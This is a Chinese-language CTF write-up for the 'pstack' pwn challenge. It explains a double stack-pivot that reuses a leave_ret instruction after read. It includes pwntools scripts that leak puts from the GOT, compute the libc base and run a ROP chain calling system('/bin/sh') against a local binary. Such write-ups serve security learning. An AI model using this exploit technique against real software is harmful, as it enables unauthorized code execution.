首先推荐这个博客
本篇学习的思路来自这个大佬
实力有限,只复现出了pstack这一题
pstack
知识点
这个题目是个很经典的栈迁移的题目,因为栈溢出的空间不够,但是常规的栈迁移一般有方法获得一个地址来进行leave_ret
这个题目有个很妙的点
这里call 完read后面有一个leave_ret(平时没注意过)
本题的核心就在于对这里进行反复利用
题解
由于leave_ret这个指令
两次这样就可以控制rbp 和rsp
这里重点讲下调用vuln_read这个函数后面的过程
这里我们动态调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * from LibcSearcher import * context(log_level='debug')
p=process('./pwn') elf=ELF('./pwn') libc=ELF('./libc.so.6')
bss=elf.bss()+0x500 leave_ret=0x4006db read=0x4006C4 pop_rdi=0x400773 pop_rbp=0x4005b0 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] ret=0x400506 print(hex(bss)) #第一次栈迁移获得更多的空间 gdb.attach(p) pause() payload=b'a'*0x30+p64(bss+0x30)+p64(read) p.send(payload) payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa' pause() p.sendline(payload) p.interactive()
|
第二个payload是我cyclic 64生成的垃圾数据,主要看函数执行的地址到哪
这里可以看到这个还是在0x30后面进行的溢出地址
下面接着调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * from LibcSearcher import * context(log_level='debug')
p=process('./pwn') elf=ELF('./pwn') libc=ELF('./libc.so.6')
bss=elf.bss()+0x500 leave_ret=0x4006db read=0x4006C4 pop_rdi=0x400773 pop_rbp=0x4005b0 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] ret=0x400506 print(hex(bss)) #第一次栈迁移获得更多的空间 payload=b'a'*0x30+p64(bss+0x30)+p64(read)
gdb.attach(p) pause()
p.sendafter(b'overflow?',payload)
#第二次的栈迁移,泄露地址 payload=p64(pop_rdi) payload+=p64(puts_got) payload+=p64(puts_plt) payload+=p64(pop_rbp) payload+=p64(bss+0x200+0x30) payload+=p64(read) payload+=p64(bss-0x8) payload+=p64(leave_ret) pause() p.send(payload) p.recv() leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))-libc.symbols['puts'] print(hex(leak_addr))
libc_base=leak_addr
read=leak_addr+libc.sym['write'] print(hex(read))
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh')) system_addr=libc_base+libc.sym['system']
payload=b'aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggg'
pause() p.send(payload)
p.interactive()
|
可以看到在rbpgggggggg卡住了
所以
在这里leave_ret
exp 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import * from LibcSearcher import * context(log_level='debug')
p=process('./pwn') elf=ELF('./pwn') libc=ELF('./libc.so.6')
bss=elf.bss()+0x500 leave_ret=0x4006db read=0x4006C4 pop_rdi=0x400773 pop_rbp=0x4005b0 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] ret=0x400506 print(hex(bss)) #第一次栈迁移获得更多的空间 payload=b'a'*0x30+p64(bss+0x30)+p64(read)
gdb.attach(p) pause()
p.sendafter(b'overflow?',payload)
#第二次的栈迁移,泄露地址 payload=p64(pop_rdi) payload+=p64(puts_got) payload+=p64(puts_plt) payload+=p64(pop_rbp) payload+=p64(bss+0x200+0x30) payload+=p64(read) payload+=p64(bss-0x8) payload+=p64(leave_ret) pause() p.send(payload) p.recv() leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))-libc.symbols['puts'] print(hex(leak_addr))
libc_base=leak_addr
read=leak_addr+libc.sym['write'] print(hex(read))
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh')) system_addr=libc_base+libc.sym['system']
payload=(p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)).ljust(0x30,b'\x00') payload+=p64(bss+0x200-0x8)+p64(leave_ret) pause() p.send(payload)
p.interactive()
|